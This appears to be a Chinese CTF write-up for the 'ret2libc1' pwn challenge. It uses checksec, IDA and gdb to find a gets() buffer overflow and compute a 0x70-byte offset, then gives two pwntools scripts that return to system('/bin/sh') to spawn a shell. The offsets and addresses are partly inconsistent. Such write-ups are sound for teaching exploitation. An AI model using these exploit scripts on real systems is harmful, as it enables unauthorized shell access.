ret2libc1
1、查看架构和保护措施
使用checksec <文件>查了架构和保护措施
几个方向:
没有PIE,ret2libc,ret2text,ret2shellcode
开启NX保护,retlibc,ret2shellcode
其他,ret2syscall
使用file <文件>查看链接方式

该文件属于动态链接
2、确定方向
在Function Window 界面发现了疑似后门的函数


secure函数调用了system函数,但是system函数的参数不是“/bin/sh”,也就没办法获取shell,但是system函数在plt段生成了一个表项
按Shift+F12,来到文件的全部字符串界面,发现了可以作为参数的“/bin/sh”字符串
结合前面已经收集到的信息:开启了NX保护+动态链接+system在plt段生成了一个表项+发现了可以作为参数的“/bin/sh”字符串,所以这个是ret2libc
记录地址信息(尽量都尝试,因为在特殊情况下,有些方法分析得出的地址可能会出错)
system函数的plt地址
根据IDA静态分析得出
根据gdb动态调试得出
根据pwntools的elf文件对象得出(对象写在python脚本里)
“/bin/sh”字符串的地址
根据IDA静态分析得出
根据ROPgadget工具得出
ROPgadget --binary <文件> --string "/bin/sh"
根据pwntools的elf文件对象得出(对象写在python脚本里)
3、寻找危险函数
在main函数的汇编界面,按F5反编译成C语言代码


分析main函数的主逻辑
setbuf是设置缓冲区,stdout是标准输出,表示0,没有漏洞
puts函数不存在漏洞
gets函数向main函数的局部变量s写入无限长的字节数据,存在漏洞!
4、计算偏移量
IDA静态分析得出:s到ret_addr的距离为0x64+0x4=0x68
gdb动态调试求偏移量
①gdb <文件>


②b mian 或者start进入到程序的入口(当面对较复杂时,在我们想要的位置上打断点,具体会在ret2libc3介绍)


③使用r命令,如果有断点,停在断点处;

各个窗口如图所示

④在“DISASM”反汇编窗口观察程序执行逻辑,输入ni,进行单步过操作


⑤一直步过到“gets函数”,我们不需要进入到gets函数的内部,此时终端处于等待用户输入的状态(规律:凡是库函数都不需要进入函数内部)

输入’aaaa‘,(根据程序的位数输入4位还是8位的数据),然后执行stack <数字>查看任意多行的栈空间的情况


观察’aaaa‘数据最后存放在0xffffd14c的位置上,这就是s的地址,返回地址就是ebp的下一单元
⑥计算s到ret_addr的偏移量
s的地址:0xffffd14c
ret_addr的地址:0xffff1bc(其实gdb已经告诉我们这个地址里的内容就是_libc_start_main函数下一条指令:add esp 0x10 的地址)
使用gdb自带的计算距离的指令:distance <地址1> <地址2>
distance 0xffffd14c 0xffffd1bc

计算得出偏移量:0x70 bytes
5、编写exp
exp1
from pwn import *
io = process('./ret2libc1')
system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720
payload = flat([b'A'*0x70,system_plt_addr,b'AAAA',bin_sh_addr])
io.sendline(payload)
io.interactive()
exp2
from pwn import *
io = process('./ret2libc1')
elf = ELF('./ret2libc1')
system_plt_addr = elf.plt['system']
bin_sh_addr = next(elf.search(b'/bin/sh'))
payload = b'A'*0x70+p32(system_plt_addr)+b'aaaa'+p32(bin_sh_addr)
io.sendline(payload)
io.interactive()